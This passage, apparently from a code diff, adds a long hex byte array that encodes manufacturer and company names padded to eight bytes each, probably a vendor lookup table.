0x6e, 0x69, +0x4f, 0x70, 0x65, 0x6e, 0x52, 0x6f, 0x61, 0x64, +0x54, 0x65, 0x63, 0x68, 0x76, 0x69, 0x73, 0x69, +0x4b, 0x6f, 0x75, 0x6b, 0x61, 0x61, 0x6d, 0x41, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x43, 0x61, +0x53, 0x79, 0x6e, 0x74, 0x72, 0x75, 0x73, 0x74, +0x50, 0x75, 0x72, 0x65, 0x53, 0x74, 0x6f, 0x72, +0x4e, 0x65, 0x78, 0x67, 0x65, 0x6e, 0x4d, 0x65, +0x46, 0x72, 0x69, 0x65, 0x6d, 0x00, 0x00, 0x00, +0x43, 0x72, 0x65, 0x6e, 0x75, 0x73, 0x00, 0x00, +0x4f, 0x70, 0x7a, 0x6f, 0x6f, 0x6e, 0x54, 0x65, +0x52, 0x69, 0x73, 0x6f, 0x4b, 0x61, 0x67, 0x61, +0x44, 0x61, 0x6c, 0x69, 0x57, 0x69, 0x72, 0x65, +0x52, 0x73, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x72, 0x72, 0x63, 0x44, 0x61, 0x6c, 0x69, +0x4d, 0x79, 0x77, 0x65, 0x72, 0x6b, 0x50, 0x6f, +0x43, 0x68, 0x61, 0x6e, 0x65, 0x79, 0x49, 0x6e, +0x47, 0x65, 0x6e, 0x6f, 0x72, 0x61, 0x79, 0x00, +0x4d, 0x79, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x78, 0x75, 0x73, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x64, 0x72, 0x69, +0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x74, 0x69, 0x61, +0x4e, 0x6f, 0x4e, 0x64, 0x61, 0x00, 0x00, 0x00, +0x53, 0x68, 0x6f, 0x70, 0x70, 0x65, 0x72, 0x74, +0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x55, 0x72, +0x57, 0x65, 0x6e, 0x7a, 0x68, 0x6f, 0x75, 0x4b, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x4f, +0x4a, 0x73, 0x63, 0x5a, 0x61, 0x76, 0x6f, 0x64, +0x48, 0x65, 0x6c, 0x6d, 0x68, 0x6f, 0x6c, 0x7a, +0x53, 0x61, 0x65, 0x74, 0x49, 0x53, 0x53, 0x52, +0x41, 0x64, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x73, 0x67, 0x53, 0x63, 0x69, 0x65, 0x6e, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x59, +0x47, 0x68, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x73, 0x74, 0x72, 0x61, 0x00, +0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x74, 0x5a, +0x48, 0x77, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x74, 0x68, 0x69, +0x4b, 0x6f, 0x6e, 0x7a, 0x65, 0x53, 0x79, 0x73, +0x46, 0x65, 0x72, 0x6d, 0x61, 0x78, 0x45, 0x6c, +0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x47, 0x6c, +0x49, 0x74, 0x6c, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x67, 0x65, 0x6e, 0x44, 0x61, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x73, 0x61, 0x79, +0x4d, 0x61, 0x67, 0x6e, 0x61, 0x63, 0x6f, 0x6d, +0x4c, 0x61, 0x6e, 0x74, 0x69, 0x73, 0x00, 0x00, +0x41, 0x64, 0x69, 0x74, 0x79, 0x61, 0x49, 0x6e, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x00, 0x00, +0x50, 0x62, 0x72, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x41, 0x70, 0x63, 0x42, 0x79, 0x53, 0x63, 0x68, +0x43, 0x6f, 0x72, 0x73, 0x61, 0x54, 0x65, 0x63, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x62, 0x65, +0x41, 0x75, 0x74, 0x6f, 0x6d, 0x6f, 0x74, 0x69, +0x46, 0x72, 0x6f, 0x6e, 0x74, 0x69, 0x69, 0x72, +0x45, 0x6e, 0x69, 0x67, 0x6d, 0x61, 0x44, 0x69, +0x47, 0x65, 0x6e, 0x32, 0x77, 0x61, 0x76, 0x65, +0x50, 0x72, 0x65, 0x63, 0x65, 0x6e, 0x6f, 0x54, +0x43, 0x6f, 0x6f, 0x6c, 0x43, 0x6f, 0x6e, 0x74, +0x43, 0x38, 0x4d, 0x65, 0x64, 0x69, 0x73, 0x65, +0x4f, 0x70, 0x74, 0x69, 0x73, 0x65, 0x6e, 0x73, +0x47, 0x65, 0x6e, 0x65, 0x73, 0x69, 0x73, 0x74, +0x47, 0x72, 0x69, 0x64, 0x63, 0x65, 0x6e, 0x74, +0x49, 0x6e, 0x74, 0x75, 0x6e, 0x65, 0x4e, 0x65, +0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x6f, +0x4f, 0x75, 0x74, 0x73, 0x6d, 0x61, 0x72, 0x74, +0x4c, 0x69, 0x61, 0x6f, 0x6e, 0x69, 0x6e, 0x67, +0x4c, 0x61, 0x79, 0x6f, 0x6e, 0x49, 0x6e, 0x74, +0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x49, 0x6e, +0x52, 0x6e, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00, +0x4c, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x43, +0x43, 0x61, 0x70, 0x65, 0x6c, 0x65, 0x63, 0x00, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x2d, +0x4b, 0x65, 0x79, 0x73, 0x74, 0x6f, 0x6e, 0x65, +0x58, 0x69, 0x61, 0x6f, 0x6d, 0x69, 0x45, 0x6c, +0x53, 0x61, 0x6d, 0x6a, 0x69, 0x6e, 0x00, 0x00, +0x53, 0x70, 0x69, 0x72, 0x65, 0x50, 0x61, 0x79, +0x41, 0x74, 0x68, 0x65, 0x6e, 0x61, 0x00, 0x00, +0x49, 0x67, 0x6e, 0x69, 0x74, 0x65, 0x6e, 0x65, +0x46, 0x75, 0x6e, 0x73, 0x68, 0x69, 0x6f, 0x6e, +0x52, 0x65, 0x61, 0x6c, 0x70, 0x6c, 0x61, 0x79, +0x48, 0x65, 0x66, 0x65, 0x69, 0x54, 0x6f, 0x79, +0x54, 0x6f, 0x75, 0x63, 0x68, 0x4e, 0x65, 0x74, +0x43, 0x61, 0x73, 0x68, 0x67, 0x75, 0x61, 0x72, +0x53, 0x74, 0x61, 0x67, 0x65, 0x54, 0x65, 0x63, +0x53, 0x61, 0x6d, 0x68, 0x77, 0x61, 0x54, 0x65, +0x53, 0x74, 0x65, 0x65, 0x6c, 0x73, 0x65, 0x72, +0x44, 0x61, 0x6e, 0x66, 0x6f, 0x73, 0x73, 0x54, +0x45, 0x6e, 0x62, 0x6c, 0x69, 0x6e, 0x6b, 0x00, +0x47, 0x65, 0x72, 0x70, 0x53, 0x6f, 0x6c, 0x75, +0x45, 0x74, 0x65, 0x6b, 0x54, 0x65, 0x63, 0x68, +0x45, 0x78, 0x6c, 0x61, 0x72, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x6c, 0x6c, 0x65, 0x72, 0x45, 0x6c, +0x53, 0x65, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x63, 0x68, 0x50, 0x6f, 0x77, 0x65, +0x53, 0x69, 0x72, 0x69, 0x75, 0x73, 0x58, 0x6d, +0x58, 0x65, 0x6e, 0x79, 0x61, 0x44, 0x4f, 0x4f, +0x47, 0x65, 0x6e, 0x6d, 0x61, 0x72, 0x6b, 0x41, +0x4e, 0x65, 0x78, 0x74, 0x6e, 0x61, 0x76, 0x4c, +0x52, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, 0x68, +0x53, 0x6f, 0x75, 0x72, 0x63, 0x69, 0x6e, 0x67, +0x45, 0x6d, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, +0x59, 0x6f, 0x74, 0x61, 0x44, 0x65, 0x76, 0x69, +0x41, 0x6c, 0x74, 0x69, 0x65, 0x72, 0x72, 0x65, +0x44, 0x65, 0x6c, 0x6c, 0x6b, 0x69, 0x6e, 0x67, +0x54, 0x61, 0x69, 0x6d, 0x61, 0x67, 0x00, 0x00, +0x4f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x70, 0x6f, 0x72, 0x61, 0x63, +0x45, 0x73, 0x70, 0x6f, 0x74, 0x65, 0x6c, 0x4f, +0x49, 0x6e, 0x64, 0x69, 0x76, 0x69, 0x64, 0x75, +0x45, 0x73, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x44, +0x50, 0x72, 0x65, 0x6d, 0x69, 0x65, 0x72, 0x57, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x72, 0x00, +0x59, 0x75, 0x64, 0x75, 0x61, 0x6e, 0x4d, 0x6f, +0x42, 0x69, 0x6f, 0x6d, 0x65, 0x72, 0x69, 0x65, +0x50, 0x69, 0x2d, 0x43, 0x6f, 0x72, 0x61, 0x6c, +0x54, 0x6f, 0x6b, 0x68, 0x65, 0x69, 0x6d, 0x00, +0x53, 0x69, 0x73, 0x53, 0x61, 0x74, 0x49, 0x6e, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x69, 0x6d, +0x4a, 0x61, 0x67, 0x4a, 0x61, 0x6b, 0x6f, 0x62, +0x46, 0x72, 0x6f, 0x6e, 0x74, 0x6c, 0x69, 0x6e, +0x32, 0x63, 0x2d, 0x54, 0x72, 0x69, 0x66, 0x6f, +0x41, 0x64, 0x64, 0x2d, 0x45, 0x6e, 0x67, 0x69, +0x53, 0x79, 0x65, 0x73, 0x53, 0x72, 0x6c, 0x00, +0x52, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x65, 0x6b, +0x4c, 0x65, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65, +0x43, 0x6f, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x00, +0x54, 0x69, 0x62, 0x69, 0x74, 0x43, 0x6f, 0x6d, +0x43, 0x68, 0x61, 0x72, 0x74, 0x65, 0x72, 0x43, +0x55, 0x6e, 0x6f, 0x77, 0x68, 0x79, 0x00, 0x00, +0x45, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, +0x58, 0x6f, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x73, 0x63, 0x65, 0x6e, 0x74, 0x54, +0x33, 0x61, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x73, +0x57, 0x69, 0x6e, 0x4c, 0x65, 0x61, 0x64, 0x65, +0x44, 0x65, 0x76, 0x6c, 0x69, 0x6e, 0x65, 0x00, +0x4f, 0x76, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x70, 0x74, 0x6f, 0x72, 0x45, 0x6e, +0x43, 0x6f, 0x62, 0x73, 0x00, 0x00, 0x00, 0x00, +0x49, 0x64, 0x6e, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x48, 0x75, 0x6e, 0x61, 0x6e, 0x54, 0x6f, 0x70, +0x41, 0x65, 0x72, 0x6f, 0x64, 0x65, 0x76, 0x00, +0x49, 0x6d, 0x61, 0x78, 0x00, 0x00, 0x00, 0x00, +0x43, 0x74, 0x72, 0x53, 0x72, 0x6c, 0x00, 0x00, +0x42, 0x61, 0x62, 0x6f, 0x6c, 0x61, 0x74, 0x56, +0x4f, 0x63, 0x75, 0x6c, 0x75, 0x73, 0x56, 0x72, +0x42, 0x62, 0x6b, 0x45, 0x64, 0x75, 0x63, 0x61, +0x42, 0x63, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x45, 0x72, 0x63, 0x6f, 0x47, 0x65, 0x6e, 0x65, +0x45, 0x6c, 0x6c, 0x69, 0x79, 0x50, 0x6f, 0x77, +0x43, 0x61, 0x70, 0x69, 0x73, 0x63, 0x6f, 0x00, +0x43, 0x79, 0x62, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x46, 0x61, 0x67, 0x6f, 0x72, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x74, 0x73, 0x74, 0x6f, 0x72, 0x54, +0x41, 0x6c, 0x67, 0x65, 0x2d, 0x54, 0x69, 0x6d, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x49, 0x62, 0x6c, +0x4c, 0x79, 0x74, 0x78, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4d, +0x47, 0x61, 0x69, 0x6e, 0x73, 0x70, 0x65, 0x65, +0x50, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x65, 0x45, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x70, 0x65, +0x50, 0x65, 0x72, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x46, 0x69, 0x6e, 0x65, 0x73, 0x74, 0x53, 0x65, +0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x73, +0x49, 0x6e, 0x74, 0x61, 0x6c, 0x74, 0x65, 0x63, +0x52, 0x66, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, +0x48, 0x69, 0x76, 0x65, 0x6d, 0x6f, 0x74, 0x69, +0x53, 0x6f, 0x75, 0x6e, 0x64, 0x6d, 0x61, 0x74, +0x45, 0x61, 0x72, 0x64, 0x61, 0x54, 0x65, 0x63, +0x4d, 0x69, 0x6c, 0x70, 0x65, 0x72, 0x00, 0x00, +0x4f, 0x6f, 0x6f, 0x50, 0x65, 0x74, 0x72, 0x54, +0x4f, 0x6e, 0x7a, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x4f, +0x45, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x6e, +0x4b, 0x69, 0x73, 0x68, 0x75, 0x47, 0x69, 0x6b, +0x43, 0x69, 0x6e, 0x63, 0x6f, 0x7a, 0x65, 0x00, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x69, 0x74, 0x42, +0x49, 0x43, 0x59, 0x42, 0x56, 0x00, 0x00, 0x00, +0x45, 0x6f, 0x6c, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x65, +0x46, 0x6f, 0x72, 0x74, 0x69, 0x66, 0x79, 0x54, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x44, 0x72, 0x61, +0x54, 0x72, 0x75, 0x65, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6e, 0x65, 0x78, 0x74, 0x6f, 0x70, +0x53, 0x6f, 0x6c, 0x69, 0x74, 0x6f, 0x6e, 0x54, +0x50, 0x68, 0x69, 0x63, 0x6f, 0x6d, 0x6d, 0x53, +0x52, 0x65, 0x64, 0x44, 0x69, 0x67, 0x69, 0x74, +0x49, 0x61, 0x64, 0x65, 0x61, 0x00, 0x00, 0x00, +0x50, 0x72, 0x65, 0x63, 0x6f, 0x72, 0x00, 0x00, +0x53, 0x75, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x65, +0x41, 0x71, 0x61, 0x76, 0x69, 0x43, 0x6f, 0x6d, +0x53, 0x61, 0x6e, 0x6a, 0x6f, 0x6c, 0x65, 0x00, +0x54, 0x61, 0x69, 0x63, 0x61, 0x6e, 0x67, 0x54, +0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x64, 0x65, +0x41, 0x6c, 0x65, 0x72, 0x74, 0x4d, 0x65, 0x74, +0x41, 0x6c, 0x70, 0x68, 0x65, 0x75, 0x73, 0x44, +0x50, 0x65, 0x74, 0x72, 0x6f, 0x6c, 0x65, 0x75, +0x45, 0x6d, 0x6b, 0x6f, 0x45, 0x6c, 0x65, 0x6b, +0x53, 0x65, 0x65, 0x65, 0x64, 0x54, 0x65, 0x63, +0x43, 0x74, 0x65, 0x6b, 0x53, 0x77, 0x65, 0x64, +0x42, 0x6c, 0x75, 0x65, 0x43, 0x61, 0x6c, 0x79, +0x4c, 0x61, 0x61, 0x4c, 0x6f, 0x63, 0x61, 0x6c, +0x4a, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x75, 0x69, 0x6f, 0x54, 0x65, 0x6c, 0x65, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x4d, 0x6f, 0x62, +0x50, 0x69, 0x63, 0x69, 0x6f, 0x72, 0x67, 0x72, +0x55, 0x62, 0x69, 0x71, 0x75, 0x69, 0x74, 0x6f, +0x50, 0x72, 0x6f, 0x6c, 0x6f, 0x6e, 0x00, 0x00, +0x44, 0x65, 0x6f, 0x73, 0x43, 0x6f, 0x6e, 0x74, +0x4d, 0x61, 0x6b, 0x6f, 0x4e, 0x65, 0x74, 0x77, +0x4a, 0x64, 0x61, 0x4c, 0x6c, 0x63, 0x4a, 0x64, +0x57, 0x2d, 0x49, 0x65, 0x2d, 0x4e, 0x65, 0x2d, +0x48, 0x61, 0x6e, 0x69, 0x6c, 0x73, 0x74, 0x6d, +0x42, 0x6f, 0x6f, 0x73, 0x74, 0x79, 0x00, 0x00, +0x41, 0x76, 0x61, 0x69, 0x6c, 0x69, 0x6e, 0x6b, +0x47, 0x6c, 0x69, 0x6e, 0x74, 0x74, 0x54, 0x65, +0x53, 0x6f, 0x6e, 0x61, 0x76, 0x6f, 0x78, 0x43, +0x41, 0x6c, 0x74, 0x65, 0x63, 0x4c, 0x61, 0x6e, +0x42, 0x75, 0x72, 0x67, 0x2d, 0x57, 0x63, 0x00, +0x50, 0x6c, 0x61, 0x74, 0x68, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x5a, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x54, +0x42, 0x79, 0x6b, 0x2d, 0x47, 0x61, 0x72, 0x64, +0x54, 0x72, 0x65, 0x78, 0x4e, 0x65, 0x74, 0x77, +0x49, 0x72, 0x6c, 0x61, 0x62, 0x00, 0x00, 0x00, +0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x6e, 0x6f, +0x42, 0x65, 0x69, 0x73, 0x73, 0x62, 0x61, 0x72, +0x50, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x6d, 0x00, +0x57, 0x69, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x43, +0x52, 0x65, 0x61, 0x63, 0x68, 0x54, 0x65, 0x63, +0x53, 0x6b, 0x79, 0x6d, 0x6f, 0x74, 0x69, 0x6f, +0x56, 0x61, 0x6c, 0x69, 0x64, 0x75, 0x73, 0x54, +0x49, 0x6e, 0x70, 0x65, 0x63, 0x6f, 0x53, 0x61, +0x4d, 0x61, 0x69, 0x6b, 0x65, 0x49, 0x6e, 0x64, +0x50, 0x61, 0x72, 0x74, 0x6f, 0x77, 0x54, 0x61, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x47, +0x49, 0x6e, 0x6e, 0x6f, 0x77, 0x69, 0x72, 0x65, +0x41, 0x6e, 0x6f, 0x76, 0x46, 0x72, 0x61, 0x6e, +0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x41, +0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x4c, 0x61, +0x44, 0x72, 0x6f, 0x70, 0x63, 0x61, 0x6d, 0x00, +0x41, 0x72, 0x64, 0x6f, 0x6d, 0x75, 0x73, 0x4e, +0x41, 0x72, 0x67, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x44, 0x65, 0x71, 0x69, 0x6e, 0x67, 0x44, 0x75, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x4d, 0x6f, 0x62, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x45, 0x6c, 0x65, +0x41, 0x62, 0x62, 0x2d, 0x50, 0x6f, 0x77, 0x65, +0x41, 0x69, 0x74, 0x65, 0x78, 0x69, 0x6e, 0x54, +0x4d, 0x69, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x57, 0x69, 0x2d, 0x42, 0x69, 0x7a, 0x53, 0x72, +0x4c, 0x6f, 0x67, 0x6f, 0x73, 0x6f, 0x6c, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x73, 0x61, 0x6c, 0x65, +0x43, 0x65, 0x64, 0x61, 0x63, 0x53, 0x6f, 0x66, +0x4c, 0x69, 0x6e, 0x63, 0x74, 0x72, 0x6f, 0x6e, +0x53, 0x6b, 0x79, 0x6c, 0x61, 0x62, 0x4d, 0x26, +0x41, 0x6c, 0x73, 0x74, 0x6f, 0x6d, 0x53, 0x74, +0x2b, 0x50, 0x6c, 0x75, 0x67, 0x67, 0x53, 0x72, +0x45, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x63, 0x6f, 0x63, 0x65, 0x6e, 0x74, 0x72, +0x53, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x44, +0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x54, 0x65, +0x54, 0x75, 0x6e, 0x61, 0x69, 0x43, 0x72, 0x65, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x63, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x62, 0x65, 0x72, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x73, 0x74, 0x6f, +0x54, 0x6f, 0x70, 0x2d, 0x41, 0x63, 0x63, 0x65, +0x4d, 0x69, 0x6f, 0x73, 0x45, 0x6c, 0x65, 0x74, +0x4d, 0x6f, 0x64, 0x75, 0x65, 0x6c, 0x00, 0x00, +0x54, 0x72, 0x65, 0x65, 0x76, 0x69, 0x65, 0x77, +0x4d, 0x65, 0x64, 0x69, 0x70, 0x6c, 0x61, 0x6e, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x62, 0x65, 0x69, +0x4a, 0x65, 0x6e, 0x73, 0x65, 0x6e, 0x53, 0x63, +0x43, 0x61, 0x72, 0x65, 0x70, 0x72, 0x65, 0x64, +0x41, 0x74, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x4d, 0x63, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x41, 0x6e, 0x79, 0x77, 0x69, 0x72, 0x65, 0x00, +0x49, 0x6e, 0x6c, 0x61, 0x62, 0x53, 0x6f, 0x66, +0x4a, 0x69, 0x6e, 0x71, 0x69, 0x61, 0x6e, 0x6d, +0x48, 0x69, 0x74, 0x65, 0x6d, 0x45, 0x6e, 0x67, +0x41, 0x6d, 0x61, 0x7a, 0x69, 0x70, 0x6f, 0x69, +0x45, 0x63, 0x68, 0x6f, 0x64, 0x79, 0x6e, 0x65, +0x49, 0x6f, 0x2d, 0x50, 0x6f, 0x77, 0x65, 0x72, +0x52, 0x26, 0x41, 0x6d, 0x70, 0x3b, 0x4d, 0x00, +0x45, 0x6b, 0x69, 0x6e, 0x6f, 0x70, 0x73, 0x53, +0x4a, 0x69, 0x64, 0x47, 0x6c, 0x6f, 0x62, 0x61, +0x54, 0x61, 0x6b, 0x61, 0x6f, 0x6b, 0x61, 0x54, +0x45, 0x76, 0x69, 0x48, 0x65, 0x61, 0x74, 0x00, +0x47, 0x64, 0x4d, 0x69, 0x64, 0x65, 0x61, 0x41, +0x43, 0x61, 0x72, 0x67, 0x74, 0x48, 0x6f, 0x6c, +0x57, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x54, 0x65, 0x72, 0x61, 0x77, 0x6f, 0x72, 0x6b, +0x50, 0x72, 0x61, 0x6d, 0x6f, 0x64, 0x54, 0x65, +0x45, 0x63, 0x6f, 0x73, 0x65, 0x6e, 0x73, 0x65, +0x57, 0x68, 0x69, 0x74, 0x65, 0x52, 0x6f, 0x64, +0x45, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x69, 0x6f, +0x4f, 0x2d, 0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6d, +0x4e, 0x65, 0x78, 0x74, 0x77, 0x69, 0x6c, 0x6c, +0x55, 0x6e, 0x69, 0x63, 0x61, 0x72, 0x64, 0x53, +0x53, 0x73, 0x74, 0x54, 0x61, 0x69, 0x77, 0x61, +0x4b, 0x69, 0x69, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x49, 0x66, 0x6f, 0x72, 0x63, 0x6f, 0x6d, 0x00, +0x48, 0x65, 0x69, 0x6e, 0x7a, 0x4c, 0x61, 0x63, +0x51, 0x75, 0x65, 0x63, 0x74, 0x65, 0x6c, 0x57, +0x4c, 0x61, 0x76, 0x61, 0x49, 0x6e, 0x74, 0x65, +0x56, 0x70, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x53, 0x74, +0x5a, 0x62, 0x64, 0x44, 0x69, 0x73, 0x70, 0x6c, +0x4d, 0x61, 0x71, 0x75, 0x65, 0x74, 0x00, 0x00, +0x48, 0x65, 0x69, 0x6e, 0x7a, 0x6d, 0x61, 0x6e, +0x45, 0x76, 0x65, 0x72, 0x76, 0x69, 0x63, 0x74, +0x54, 0x65, 0x72, 0x65, 0x77, 0x61, 0x76, 0x65, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x73, 0x6f, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x69, 0x73, +0x53, 0x68, 0x69, 0x6e, 0x65, 0x50, 0x72, 0x6f, +0x54, 0x72, 0x65, 0x76, 0x69, 0x6c, 0x53, 0x72, +0x46, 0x69, 0x73, 0x63, 0x68, 0x65, 0x72, 0x49, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x76, 0x69, 0x73, +0x50, 0x6c, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, +0x50, 0x61, 0x6c, 0x4d, 0x6f, 0x68, 0x61, 0x6e, +0x53, 0x65, 0x2d, 0x4b, 0x75, 0x72, 0x65, 0x43, +0x54, 0x65, 0x6d, 0x62, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x73, 0x69, 0x61, 0x74, 0x65, 0x6c, 0x63, +0x46, 0x6e, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x54, +0x48, 0x61, 0x67, 0x6c, 0x65, 0x69, 0x74, 0x6e, +0x45, 0x6e, 0x65, 0x63, 0x73, 0x79, 0x73, 0x00, +0x45, 0x69, 0x64, 0x6f, 0x6c, 0x6f, 0x6e, 0x43, +0x4c, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4e, 0x65, 0x78, 0x70, 0x72, 0x69, 0x6e, 0x67, +0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x6b, 0x79, 0x54, +0x50, 0x61, 0x72, 0x73, 0x65, 0x63, 0x50, 0x74, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x6d, 0x61, 0x78, +0x52, 0x65, 0x6e, 0x61, 0x50, 0x72, 0x69, 0x6e, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x69, 0x73, 0x61, +0x54, 0x72, 0x69, 0x62, 0x75, 0x74, 0x61, 0x72, +0x57, 0x69, 0x62, 0x6f, 0x74, 0x69, 0x63, 0x00, +0x46, 0x75, 0x6a, 0x69, 0x6b, 0x6f, 0x6e, 0x49, +0x48, 0x61, 0x6e, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x4e, 0x74, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x57, 0x69, 0x7a, 0x6c, 0x61, 0x6e, 0x00, 0x00, +0x41, 0x74, 0x65, 0x6b, 0x50, 0x72, 0x6f, 0x64, +0x41, 0x6c, 0x63, 0x65, 0x61, 0x00, 0x00, 0x00, +0x54, 0x73, 0x73, 0x74, 0x47, 0x6c, 0x6f, 0x62, +0x46, 0x6f, 0x63, 0x74, 0x65, 0x6b, 0x50, 0x68, +0x50, 0x69, 0x6c, 0x6c, 0x65, 0x72, 0x47, 0x72, +0x41, 0x44, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x65, 0x70, 0x70, 0x65, 0x6c, 0x69, 0x6e, +0x53, 0x69, 0x6c, 0x63, 0x61, 0x00, 0x00, 0x00, +0x46, 0x69, 0x72, 0x65, 0x66, 0x6c, 0x79, 0x49, +0x53, 0x6b, 0x79, 0x2d, 0x43, 0x69, 0x74, 0x79, +0x46, 0x6f, 0x72, 0x6d, 0x6c, 0x61, 0x62, 0x73, +0x56, 0x50, 0x53, 0x54, 0x68, 0x61, 0x69, 0x00, +0x41, 0x76, 0x6d, 0x41, 0x75, 0x64, 0x69, 0x6f, +0x50, 0x72, 0x6f, 0x6d, 0x7a, 0x61, 0x6b, 0x61, +0x48, 0x69, 0x6c, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x53, 0x69, 0x6d, 0x63, 0x6f, 0x6d, 0x57, 0x69, +0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x74, 0x6f, 0x6b, +0x4d, 0x69, 0x64, 0x65, 0x61, 